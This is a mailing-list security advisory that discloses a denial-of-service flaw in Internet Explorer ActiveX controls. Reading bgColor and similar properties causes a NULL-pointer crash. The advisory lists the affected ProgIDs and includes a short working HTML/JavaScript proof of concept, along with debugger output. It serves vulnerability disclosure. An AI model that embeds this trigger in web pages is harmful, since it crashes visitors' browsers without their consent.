[NT] Internet Explorer ActiveX bgColor Property DoS



The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html

- - - - - - - - -



Internet Explorer ActiveX bgColor Property DoS
------------------------------------------------------------------------


SUMMARY

Determina Security Research has discovered a denial of service
vulnerability in multiple ActiveX controls included in Internet Explorer.
This vulnerability can be exploited by a malicious web page and results in
a termination of the Internet Explorer process. Our analysis indicates
that remote code execution is unlikely. The vulnerable ActiveX controls
are installed by default with all versions of Internet Explorer on Windows
2000, XP, 2003 and Vista.

DETAILS

This vulnerability was found by a fuzzer that instantiates all ActiveX
controls on the system and enumerates their properties. We discovered
multiple controls that crash with an invalid memory access exception when
certain object properties are accessed through JavaScript. Most of the
vulnerable ActiveX controls are in MSHTML.DLL and are exploitable on all
versions of Internet Explorer. Their ProgIDs are given below:

giffile
htmlfile
jpegfile
mhtmlfile
ODCfile
pjpegfile
pngfile
xbmfile
xmlfile
xslfile
wdpfile

The following two controls in TRIEDIT.DLL are exploitable without user
interaction only on Internet Explorer 5 and 6:

TriEditDocument.TriEditDocument
TriEditDocument.TriEditDocument.1

Accessing one of the bgColor, fgColor, linkColor, alinkColor, vlinkColor
or defaultCharset properties of the controls listed above results in a
NULL pointer dereference and an unhandled memory access violation. It is
hard to tell what the root cause and full impact of this vulnerability
are, but remote code execution seems unlikely at this point.

Microsoft has taken steps to minimize the attack surface presented by the
ActiveX controls in Internet Explorer 7. The ActiveX Opt-In feature
prevents previously unused ActiveX controls from running, unless the user
explicitly allows their instantiation. The only controls that can run
without prompting the user are the ones included on a pre-approved list in
the system registry. All vulnerable MSHTML.DLL controls listed above are
on the pre-approved list, allowing the vulnerability to be exploited with
no user interaction on IE7 running on both Windows XP and Vista.
Proof of Concept:

The following .HTML file will trigger the vulnerability:

<html>
<body>
<script language="JavaScript">
obj = new ActiveXObject("giffile");
obj.bgColor;
</script>
</body>
</html>

Opening the file in Internet Explorer results in the following
NULL-pointer dereference:

(a9c.72c): Access violation - code c0000005 (!!! second chance !!!)
eax=00000000 ebx=7ded51fc ecx=01253b90 edx=00000000 esi=00038ff8
edi=01253c40
eip=7dda1dde esp=0013dfb0 ebp=0013dfbc iopl=0 nv up ei pl nz na pe
nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000
efl=00000206
mshtml!CDocument::get_bgColor+0x7e:
7dda1dde ff30 push dword ptr [eax]
ds:0023:00000000=????????


ADDITIONAL INFORMATION

The information has been provided by <mailto:asotirov@xxxxxxxxxxxxx>
Alexander Sotirov.
The original article can be found at:
<http://www.determina.com/security.research/vulnerabilities/activex-bgcolor.html> http://www.determina.com/security.research/vulnerabilities/activex-bgcolor.html



========================================


This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@xxxxxxxxxxxxxx
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxx


====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.



Relevant Pages

  • Re: OT: Gone from topic, now on security Re: For PGP Users-Likes and Dislikes of PGP
    ... and even then only ActiveX controls from some limited ... Which contains vulnerable controls. ... Then point to a vulnerability in one, ... Apply patches" ...
    (sci.crypt)
  • [UNIX] Trend Micro VirusWall Buffer Overflow in VSAPI Library
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... buffer overflow vulnerability in VSAPI library allows arbitrary code ... is called "vscan" which is set suid root by default. ... permissions and thus granted all local users the privilege to execute the ...
    (Securiteam)
  • [UNIX] SCO Multiple Local Buffer Overflow
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Local exploitation of a buffer overflow vulnerability in the ppp binary, ... allows attackers to gain root privileges. ...
    (Securiteam)
  • [NT] Microsoft Word 6.0/95 Document Converter Buffer Overflow (MS04-041)
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... WordPad is "a word processing application that uses the MFC rich edit ... Remote exploitation of a buffer overflow vulnerability in Microsoft ... Microsoft Word format files into the Rich Text Format natively handled by ...
    (Securiteam)
  • [UNIX] Tikiwiki Command Injection and Arbitrary File Exposure Vulnerabilities
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Two security vulnerabilities have been recently discovered in Tikiwiki, ... Remote exploitation of an input validation vulnerability in Tikiwiki ... allows attackers to gain access to arbitrary files on the vulnerable ...
    (Securiteam)